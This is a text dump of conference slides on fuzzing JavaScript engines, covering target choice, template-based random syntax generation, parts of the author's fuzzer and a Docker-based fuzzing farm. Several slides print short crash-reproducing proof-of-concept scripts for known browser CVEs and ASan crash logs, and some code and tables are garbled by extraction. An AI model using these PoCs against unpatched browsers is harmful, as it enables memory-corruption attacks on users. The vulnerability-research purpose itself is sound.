Fuzzing Javascript Engines

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Fuzzing Javascript Engines English Description.

** Note: This is not translate all korean talk.

: Just get to important keyword in each pages.

Hello Native!?

- I'm Native Korean!
- English explanations are included in this file
- http://singi.kr/poc2017-singi.pdf
 - if you get bored during this session, try to access <u>http://singi.kr/safari.html</u>
- Enjoy:D

\$ more 'singi'



- JeongHoon Shin
- Software Bug Researcher
 - mainly in browsers
- Theori@KR, Mentor of B.o.B
- Being papa
 - parenting 24/5

Introduce myself

Today, Point!

- Why target browsers?
- How to approach zero-days?
- How to make random syntax more smartly?
- Introduce to Javascript Fuzzing Factory

Why target browsers?

- Most people use browsers
 - is there anyone not using browser?
- Too difficult to find working 0-days
 - Vendors also find browser bugs internally.
 - many exploit mitigations.
 - other hackers have already found and reported it
- yet, if you hacked the browser through the 0days?
 - \$\$\$, honor

Refer to slide for more details.

Why target browsers?

- Web Standards are continuously being updated.
 - it means, new features are added continuously
- Has a lot of Attack Vectors.
 - HTML, Image, Audio, <u>Javascript</u>, Video, 3D, WebRTC
 - WebStorage, WebDatabase, ...

WebBrowser has a lot web Vectors, In this session, I use only javascript vector!

Web Standards

- ECMA Script 5,6,...7
 - Javascript, ActionScript,
- WebGL
- WebAssembly
- HTML5
- CSS3

ECMA script is still being updated, Javascript is based on ECMA Script. WebAssembly has been officially adopted by major browsers recently Also, WebAssembly is an important vulnerability vector.

Why Javascript?

- DOM is hard...
 - many bugs! but... (null deref, stack exhaust, ...)
 - often, even the developer doesn't know the root cause.
 (DOM Tree Hell)
 - difficult to make working exploit.
- Javascript is also hard.
 - Easier to figure out root cause than DOM. (more Intuitive.)

Well, is JS Awesome?

- Nope!
- we have sandbox (which has to be bypassed)

DOM Bug example

- Safari no Reward :[
- Chrome Reward \$1,000

let me explain about 1 bug in Chrome. I received \$1000 as reward.

DOM Bug example CVE-2017-5052

```
REPRODUCTION CASE
<html>
                <title>::: reproduce-14fc2a :::</title>
        </head>
        <script>
        function start()
                //make dom objects.
                o13 = document.createElement('frameset');
                o13.id = 'o13';
                o25 = document.createElement('time');
                o25.id = 'o25';
                o28 = document.createElement('listing');
                o28.id = 'o28';
                o161 = document.createElement('applet');
                o25.appendChild(o28.cloneNode(true));
                ol61.appendChild(o25.cloneNode(true));
                document.body.appendChild(o161);
                document.body.appendChild(o13);
        </script>
</head>
<body onload="start();">
</bdov>
</html>
```


Didn't figure out root cause, someone said just change <u>DCHECK</u> to <u>CHECK</u>

After a while, they found the root cause!

Comment 26

If we can't figure out the root cause here let's at least change the security DCHECK to a CHECK.

If you see the comment, the reviewer said 'if we can't figure out the root cause, let's change the DCHECK to CHECK'. But, after a while they found the cause.



Refer to slide for more detail.

How to approach zero-days?

- fuzzing?
- code review?

fuzzing? code review? which one is better? what do you think? I recommend both! Anyway, good fuzzers don't need humans.

Why Fuzzing?

- You can create/test many test cases in a short time.
- While computer runs the fuzzer, you can <u>focus on code</u> <u>review.</u>
- JS code review is bad for mental health. You can get motivation from fuzzing results. :)

Refer to slide for more details.



yeah.. that's why. seriously:)

Before making a fuzzer...

- What's a good fuzzer?
 - Get a crash well.
 - Should have good code coverage
 - Should create many test cases at the same time.
 - Should classify unique crashes.
 - Should have a crash minimizer.

Refer to slide for more details.

//Libfuzzer and AFL are guided code coverage fuzzer.


//in this session, I will only cover random fuzzers.

How do I get a crash well?

- No answer for the question. In my case, reference to public PoC code.
- In JS code, they have many |regress| files.
- Figure out the patterns in |regress| files.
 - just observe the pattern, not the meaning

Refer to slide for more details.

v8 regress files



This is an example of v8 regress files. you can find it here: 'http://cs.chromium.org' Likewise, you can find regress files of other javascript engines.

CVE-2016-1857

```
var a = [];
var b = [];

b['__defineGetter__'](2000, function() {
    for(var i=0;i<3000;i++)
        a['push'](this);
});

b.filter((function(){;}), '');
a.join();</pre>
```

CVE-2016-1857: Jeonghoon Shin@A.D.D and Liang Chen, Zhen Feng, wushi of KeenLab, Tencent working with Trend Micro's Zero Day Initiative

Use After Free in Safari.

CVE-2016-5129

[\$5000][620553] **High** CVE-2016-5129: Memory corruption in V8. Credit to Jeonghoon Shin

This is chrome case, bug type is side effect.

CVE-2017-11799

```
class MyClass {
    constructor() {
        this.arr = [1, 2, 3];
    }

    f() {
        super.arr = [1];
        this.x; // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
    }
}

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
    c.f();
}</pre>
```

Finder: lokihardt

This is edge case, a bug type is invalid JIT.

function f() { let arr = new Uint32Array(10); for (let i = 0; i < 0x1000000; i++) { parseInt(); } arr[8] = 1; arr[-0x12345678] = 2; } f();</pre> Finder: lokihardt

Safari case, JIT optimization check fail.

CVE-2017-7061 let o = {}; for (let i in {xx: 0}) { for (let j = 0; j < 2; j++) { o(i]; i = new Uint32Array([0, 1, 0x777777, 0, 0]); } }</pre> Finder: lokihardt

Safari case, Incorrect optimization in Safari. type confusion |i| value.

CVE-2017-5121

```
var func0 = function(f)
{
    var o =
    {
        a: {},
        b:
        {
            ba: {baa: 0, bab: [] },
            bb: {},
            bc: {bca: {bcaa: 0, bcab: 0, bcac: this } },
        };

    o.b.bc.bca.bcab = 0;
    o.b.bb.bba = Object.toString(o.b.ba.bab);
};


while(true) func0()
```

[\$7500][<u>765433</u>] **High** CVE-2017-5121: Out-of-bounds access in V8. Reported by Jordan Rabet, Microsoft Offensive Security Research and Microsoft ChakraCore team on 2017-09-14

After reviewed PoC...

- PoC are mostly **short**.
 - different from full exploit code.
- mostly used 1 object from Javascript Objects.
 - (Array, Typed Array, Proxy,...)
- In recent years, Found mainly in JIT, asmJS and Wasm

Refer to slide for more details.



All major browsers officially support WebAssembly.



for example, C -> WebAssembly, use in Browser

What Point of WASM would be vulnerable?

Validation of Web Assembly Opcode

```
(function BadTypeSection() {
  var data = bytes(
    kWasmH0,
    kWasmH1,
    kWasmH2,
    kWasmW0,
    kWasmV0,
    kWasmV2,
    kWasmV3,

    kTypeSectionCode,
    5,
    2,
    0x60,
    0,
    0,
    13
  );

assertFalse(WebAssembly.validate(data));
})();
```


WebAssembly Method Error

```
function module(stdlib, foreign, buffer) {
    "use asm";
    var fl = new stdlib.Uint32Array(buffer);
    function f1(x) {
        x = x | 0;
        ft[0] = x;
        ft[0x100000] = x;
    }
    return f1;
}

var global = {Uint32Array:Uint32Array};
var env = {};
memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
evil_f = module(global,env,buffer);

zz = {};
zz.toString = function() {
    Array.prototype.slice.call([]);
    return 0xffffffff;
}
evil_f(3);
assertThrows(() => memory.grow(1), RangeError);
evil_f(zz);
```

Validation of Web Assembly Opcode and



This table shows the name of JIT Compilers for each Edge, Chrome, and Safari.

STATE CONTROL | STATE CONTROL | | **Table Control Control

I dumped a simple javascript syntax to bytecode.


Function Example $((a1) \Rightarrow \{$ print('hi'); })(1,2,3); enter loc3 loc4, loc3 get_scope mov check_traps loc10, loc3, print(@id0), <GlobalProperty>, 1, 0x10f8e80a0 loc6, loc10, print(@id0), 2048<ThrowIfNotFound|GlobalProperty|NotInitialization>, 126 predicting None loc9, String (atomic) (identifier): hi, ID: 4(const0) loc6, loc6, 2, 16 (this at loc10) status(Could Take Slow Path) Original; predicting None Undefined(const1) resolve_scope get_from_scope call (function(a1) { print('hi'); })(1,2,3); enter loc3 loc4, loc3 get_scope check_traps loc10, loc3, print(@id0), <GlobalProperty>, 1, 0x10bce80a0 loc6, loc10, print(@id0), 2048<ThrowIfNotFound|GlobalProperty|NotInitialization>, 126 predicting None loc9, String (atomic) (identifier): hi, ID: 4(const0) loc6, loc6, 2, 16 (this at loc10) status(Could Take Slow Path) Original; predicting None resolve_scope get_from_scope call Undefined(const1) ret

I wrote the same function in different js syntax, and compared their bytecode to see if they were different. They were same.

Create Array Example

This was also an experiment to compare the bytecode, but this time by creating arrays.

Both created arrays of same size. But new Array internally calls constructor. So, the bytecode were different.



This is a simple diagram to show the process of making JIT'ed code.

I thought that the part in the red circle could be the weak point.

This is because it is difficultly to optimize user's code.

part of my fuzzer

```
def makeCase(self):
    self.Comment("this test script made from singi js_fuzzer v0.2, Good luck with U")
    self.defineGC()
    self.defineGLep()

    self.Comment("fuzzing start.\n")
    self.initJSObject()

    self.Comment("start mutate.\n")
    #define
        self.defineObject(10)
    self.defineObject(10)
    self.getOrsetProp(5)

for i in range(5):
    rv = choice([objectType.Array, objectType.Object])
    if rv = objectType.Array:
        self.testcaseData += e(GlobalVar.JSArrayObj.setIndex( getObjWithType(GlobalVar.var_list, objectType.Array) ))
    elif rv = objectType.Object:
        self.testcaseData += e(GlobalVar.JSObjectObj.setIndex( getObjWithType(GlobalVar.var_list, objectType.Object) ))

#get,set props

#method
    self.callMethod(7)
    self.getOrsetProp(5)
    self.callMethod(5)

self.writeFile()
```

That is a template for Random Javascript Syntax (static).

When a method is called, a javascript syntax, matching the name of the method, is created by the generator.

part of my fuzzer

Array Object

Function Object

```
def create(self,objId, lines=5,argCnt=0):
    r = ""
    funcBody = """%s\n\t%s\n\t%s""" % (choice(["", ""]), self.randomFunctionBody(lines),

    if self.funcType == funcType.Normal: r = """function %s(%s) {\n\t%s\n}\n""" % (objId
    elif self.funcType == funcType.FuncObj: r = """(function() {\n\t%s\n})""" % funcBody
    elif self.funcType == funcType.FuncObjCall: r = """(function() {\n\t%s\n})()\n""" %
    elif self.funcType == funcType.ArrowObj:
```

For instance, create method is internally similar to javascript object constructor.

The details in the syntax are random.

part of my fuzzer

Array Object Methods

```
Afray Object Methods

[ {"name":"concat", "argCount":-1, "argTypes":[objectType.Array, objectType.Object, objectType.Array, objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Object], "retType":objectType.Number], "retType":objectType.Object], "retType":objectType.Number], "retType":objectType.Object], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Object], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.Number], "retType":objectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.ObjectType.Obje
              #{"name":"isArray", "argCount":1, "argTypes":["object"], "retType":"boolean"},
#{"name":"of", "argCount":2, "argTypes":["object", "object"], "retType":"array"},
```

Refer to slide for Array Object Methods.

part of my fuzzer

```
OPCODES = [
Opcode(0x00, 'unreachable',
                                                                                                               INS_NO_FLOW),
                                                                    None,
     Opcode(0x00, 'unreache
Opcode(0x01, 'nop',
Opcode(0x02, 'block',
Opcode(0x03, 'loop',
Opcode(0x04, 'if',
Opcode(0x05, 'else',
Opcode(0x0b, 'end',
Opcode(0x0c, 'br',
Opcode(0x0c, 'br',
                                                                    None,
                                                                    BlockImm(),
                                                                                                               INS_ENTER_BLOCK),
                                                                    BlockImm(),
                                                                                                               INS_ENTER_BLOCK),
                                                                                                             INS_ENTER_BLOCK),
INS_ENTER_BLOCK |
INS_LEAVE_BLOCK),
INS_BRANCH),
                                                                    BlockImm(),
                                                                    None,
                                                                    BranchImm(),
      Opcode(0x0d, 'br_if',
                                                                    BranchImm(),
                                                                                                               INS_BRANCH),
      Opcode(0x0e, 'br_table', Opcode(0x0f, 'return',
                                                                    BranchTableImm(),
                                                                                                               INS_BRANCH),
                                                                                                               INS_NO_FLOW),
      Opcode(0x10, 'call',
Opcode(0x11, 'call_indirect',
                                                                    CallImm(),
                                                                                                               INS_BRANCH),
                                                                    CallIndirectImm(),
                                                                                                               INS_BRANCH),
      Opcode(0x1a, 'drop',
      Opcode(0x1b, 'select',
                                                                                                              0),
     Opcode(0x20, 'get_local', Opcode(0x21, 'set_local', Opcode(0x22, 'tee_local', Opcode(0x23, 'get_global', Opcode(0x24, 'set_global',
                                                                    LocalVarXsImm(),
                                                                                                               0),
                                                                    LocalVarXsImm(),
                                                                                                              0),
                                                                    LocalVarXsImm(),
                                                                                                              0),
                                                                    GlobalVarXsImm(),
                                                                                                               0),
                                                                    GlobalVarXsImm(),
```

Also, I defined the WebAssembly Opcode Table and method call.

part of my fuzzer

```
[fuzzer]
TESTCASE_ID: d8_4

CRASHED_DIR: ./singi_crash/
TESTCASE_DIR: ./singi_testcase/

JS_ENGINE: /Users/singi/v8/out.gn/foo2/d8

JS_ENGINE_ENV:

JS_ENGINE_FLAG: --stack-size=100 --allow-natives-syntax --expose-gc --always-opt

JS_GENERATOR: generator_wasm.py
TIMEOUT: 20
THREAD_COUNT: 4
```

This is fuzzer configuration file.

Defined options to required for fuzzer.

Problems to creating random JS syntax

- Too many cases
- Hard to find pattern by hand.
- So, make template the pattern from 1day cases.
- Make random JS file through template.

But, there was a problem in generating random syntax. It was difficult to insert new patterns and so, the generated files were similar.

So, we created templates for 1day PoC cases. after that, the templates were used to generate javascript files.

We solved the problem!

- Parse 1-day PoC for making LEGO file
- Parse LEGO file to make new JS file.
- For the parser:
 - Made rules for custom syntax -> LEGO
 - Excluded whatever was not important

We decided to call the custom syntax 'LEGO'.

LEGO example


```
var a = [];
var b = [];
b. _defineGetter_(2000, function() {
    for(var i=0;i<3000;i++)
        a.push(this);
});
b.filter((function(){;}), '');
a.join();

DEFINE FUNCTION('2')
END DEFINE


DEFINE FUNCTION('2')
END DEFINE

CALL METHOD{defineGetter, ARG:[2000, FUNCTION '1']}
END CALL
CALL METHOD{filter, ARG:[FUNCTION '2','']}
END CALL
CALL METHOD{join, ARG:[]}
END CALL
CALL METHOD{join, ARG:[]}</pre>
```

For Example, change CVE-2016-5189 PoC file to LEGO Syntax We will publish the convertor for LEGO on Github.




The fuzzer uses a simple structure. But it works well~



When I was fuzzing at home, I was annoyed because of the noise.



Now, introducing Javascript Fuzzing Factory. JFF




JFF is a Host/Fuzzer management solution which is based on Docker API. I will show you a Demo

Introducing bugs found by using Fuzzer!



ChakraCore Case

- Bug in Garbage Collector (maybe?)
- Status ; Reported
- Patched ; Alive
- Note; It wasn't crash on MS Edge.



This bug is presumed to be a bug which occurs due to race condition between garbage Collect thread and array method, when they are repeatedly used.

- Description; Memcpy argument overlapped through Invalid JIT
- Status ; Reported
- Patched; webkit patched, safari alive.

```
==9338==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x62d00014 40b0,0x62d0001440d8) and [0x62d0001440a8, 0x62d0001440d0) overlap #0 0x104431742 in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib'_asan::AsanDie() 0x00000001042570a0 libclang_rt.asan_osx_dynamic.dylib'_asanitizer::Die() + 88 0x000000010425429 libclang_rt.asan_osx_dynamic.dylib'_asan::ScopedInErrorReport::~ScopedInE 0x000000104257a1 libclang_rt.asan_osx_dynamic.dylib'_asan::ReportStringFunctionMemoryRange unsigned long, char const*, unsigned long, __sanitizer::BufferedStackTrace*) + 289 0x0000000104243842 libclang_rt.asan_osx_dynamic.dylib'_asan_memcpy + 450 0x0000001013924e JavaScriptCore'JSC::JSArray::appendMemcpy(this=<unavailable>, exec=0x00007 rtIndex=1, otherArray=<unavailable>) + 1342 at JSArray:cpp:543 [opt] 0x00000001003ddbee JavaScriptCore'JSC::arrayProtoPrivateFuncAppendMemcpy(exec=<unavailable>) opt] 0x000005e5313401028
```

The red arrow points to the JIT code area.

At that address, appendMemcpy method is called with an invalid argument.

- Description ; Use After free in WatchpointSet::state()
- Status ; Reported
- Patched; webkit patched(17/10/18), safari alive.

```
==1874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400001
p 0x7fff53ee9c78

READ of size 1 at 0x604000017b94 thread T0
#0 0x10c075540 in JSC::WatchpointSet::state() const Watchpoint.h:117
#1 0x10c6ceda8 in JSC::InlineWatchpointSet::hasBeenInvalidated() const
#2 0x10c85044c in JSC::DFG::GenericDesiredWatchpoints
#2 0x10c85044c in JSC::DFG::GenericDesiredWatchpoints
#3 var arr0 = [42];

#4 var arr0 = [42];

#5 var arr4 = [,,,,,,];

#6 new Array(10000).map((function() {

#7 arr4[-35] = 1.1;


#6 proto_ = {};

#7 gc();

#6 for (var i = 0; i < 65536; i++)
#6 arr0['a'+i] = 1.1;
```

Forgot _proto_ when DFG adds WatchPointSet.

- Description; invalid optimize DFG JIT
- Status ; Reported
- Patched; webkit patched(17/11/08), safari alive.



shows demo

\$ more 'reum'



- Areum Lee
- Co-worker for this project
 - Put this presentation in English.
 - CSS for JFF
 - Made LEGO syntax
- Currently a senior in Sejong Univ.
- @l.areum (facebook)

QnA?

If you ask questions in english,

I will try to listen/speak english,

But It would be much better to talk personally after this time,

or contact @sjh21a (facebook)

